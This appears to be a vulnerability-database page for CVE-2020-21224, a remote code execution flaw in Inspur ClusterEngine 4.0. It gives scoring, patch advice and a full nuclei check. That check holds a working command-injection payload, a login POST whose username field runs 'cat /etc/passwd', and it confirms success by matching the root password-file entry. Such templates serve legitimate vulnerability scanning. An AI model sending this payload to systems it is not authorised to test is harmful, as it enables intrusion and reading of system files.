HexBrain

Browse / CVEs / CVE-2020-21224

CVE-2020-21224· inspur / clusterengine· CWE-88

Inspur ClusterEngine 4.0 - Remote Code Execution

criticalseverity
9.8CVSS score
38.7%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

Inspur ClusterEngine V4.0 is suscptible to a remote code execution vulnerability. A remote attacker can send a malicious login packet to the control server.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.

Fix

Apply the latest security patches or updates provided by Inspur to mitigate this vulnerability.

How to confirm it

Send: POST {{BaseURL}}/login
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2020-21224 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2020-21224

info:
  name: Inspur ClusterEngine 4.0 - Remote Code Execution
  author: pikpikcu
  severity: critical
  description: Inspur ClusterEngine V4.0 is suscptible to a remote code execution vulnerability. A remote attacker can send a malicious login packet to the control server.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Apply the latest security patches or updates provided by Inspur to mitigate this vulnerability.
  reference:
    - https://github.com/NS-Sp4ce/Inspur/tree/master/ClusterEngineV4.0%20Vul
    - https://nvd.nist.gov/vuln/detail/CVE-2020-21224
    - https://github.com/NS-Sp4ce/Inspur/
    - https://github.com/SexyBeast233/SecBooks
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-21224
    cwe-id: CWE-88
    epss-score: 0.38745
    epss-percentile: 0.98595
    cpe: cpe:2.3:a:inspur:clusterengine:4.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: inspur
    product: clusterengine
  tags: cve2020,cve,clusterengine,rce,inspur,vkev,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/login"

    body: |
      op=login&username=;`cat /etc/passwd`&password=

    headers:
      Content-Type: application/x-www-form-urlencoded
      Referer: "{{Hostname}}/module/login/login.html"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from